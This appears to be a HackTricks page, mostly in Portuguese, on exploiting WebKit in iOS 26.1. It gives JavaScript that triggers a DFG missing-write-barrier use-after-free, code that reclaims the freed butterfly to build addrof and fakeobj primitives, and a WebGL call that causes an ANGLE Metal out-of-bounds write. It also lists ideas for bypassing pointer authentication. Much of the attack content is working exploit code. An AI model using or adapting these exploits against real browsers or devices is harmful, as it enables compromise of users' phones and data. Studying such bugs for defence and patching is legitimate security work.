WebKit DFG Store-Barrier UAF + ANGLE PBO OOB (iOS 26.1)
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Resumo
- DFG Store Barrier bug (CVE-2025-43529): In
DFGStoreBarrierInsertionPhase.cpp, a Phi node marked escaped while its Upsilon inputs are not causa a fase a deixar de inserir um write barrier em stores de objeto subsequentes. Sob pressão do GC isso permite que o JSC libere objetos ainda alcançáveis → use-after-free. - Exploit target: Forçar um objeto Date a materializar um butterfly (por exemplo,
a[0] = 1.1) de modo que o butterfly seja liberado e então reaproveitado como armazenamento de elementos de array para construir confusão boxed/unboxed → primitivasaddrof/fakeobj. - ANGLE Metal PBO bug (CVE-2025-14174): O backend Metal aloca o staging buffer do PBO usando
UNPACK_IMAGE_HEIGHTem vez da altura real da textura. Fornecer uma altura de unpack diminuta e então chamar um grandetexImage2Dcausa uma staging-buffer OOB write (~240KB no PoC abaixo). - PAC blockers on arm64e (iOS 26.1): TypedArray
m_vectore JSArraybutterflysão PAC-signed; forjar objetos falsos com ponteiros escolhidos pelo atacante causa crash comEXC_BAD_ACCESS/EXC_ARM_PAC. Apenas reutilizar butterflies já-assinados (reinterpretação boxed/unboxed) funciona.
Disparando a barreira ausente do DFG → UAF
function triggerUAF(flag, allocCount) {
const A = {p0: 0x41414141, p1: 1.1, p2: 2.2};
arr[arr_index] = A; // Tenure A in old space
const a = new Date(1111); a[0] = 1.1; // Force Date butterfly
// GC pressure
for (let j = 0; j < allocCount; ++j) forGC.push(new ArrayBuffer(0x800000));
const b = {p0: 0x42424242, p1: 1.1};
let f = b; if (flag) f = 1.1; // Phi escapes, Upsilon not escaped
A.p1 = f; // Missing barrier state set up
for (let i = 0; i < 1e6; ++i) {} // GC race window
b.p1 = a; // Store without barrier → frees `a`/butterfly
}
Pontos-chave:
- Colocar A no old space para exercitar as barreiras geracionais.
- Criar um Date indexado para que o butterfly seja o alvo liberado.
- Spray
ArrayBuffer(0x800000)para forçar o GC e ampliar a race. - A incompatibilidade Phi/Upsilon de escape impede a inserção da barreira;
b.p1 = aroda without a write barrier, então o GC recuperaa/butterfly.
Reclaim do butterfly → confusão boxed/unboxed
Depois que o GC libera o butterfly do Date, spray arrays para que o slab liberado seja reutilizado como elementos para dois arrays com diferentes element kinds:
boxed_arr[0] = obj; // store as boxed pointer
const addr = ftoi(unboxed_arr[0]); // read as float64 → addr leak
unboxed_arr[0] = itof(addr); // write pointer bits as float
const fake = boxed_arr[0]; // reinterpret as object → fakeobj
Status em iOS 26.1 (arm64e):
- Funcional:
addrof,fakeobj, 20+ address leaks per run, inline-slot read/write (on known inline fields). - Ainda instável: generalized
read64/write64via inline-slot backings.
Restrições PAC no arm64e (por que fake objects crash)
- TypedArray
m_vectore JSArraybutterflysão PAC-signed; forjar ponteiros resulta emEXC_BAD_ACCESS/ provavelmenteEXC_ARM_PAC. - A primitiva de confusão funciona porque reutiliza butterflies legítimos assinados; introduzir ponteiros do atacante não assinados faz a autenticação falhar.
- Possíveis ideias de bypass anotadas: caminhos JIT que pulam a autenticação, gadgets que assinam ponteiros do atacante, ou pivotar através do ANGLE OOB.
Sub-alocação do ANGLE Metal PBO → OOB write
Use um unpack height muito pequeno para reduzir o staging buffer, depois carregue uma texture grande para que a cópia ultrapasse os limites:
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16); // alloc height
// staging = 256 * 16 * 4 = 16KB
// actual = 256 * 256 * 4 = 256KB → ~240KB OOB
gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
Notas:
- Bug em
TextureMtl.cpp: staging buffer usaUNPACK_IMAGE_HEIGHTem vez da altura real da textura no caminho PBO. - Na reference probe, o gatilho WebGL2 PBO foi integrado, mas ainda não foi observado de forma confiável no iOS 26.1.
Referências
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


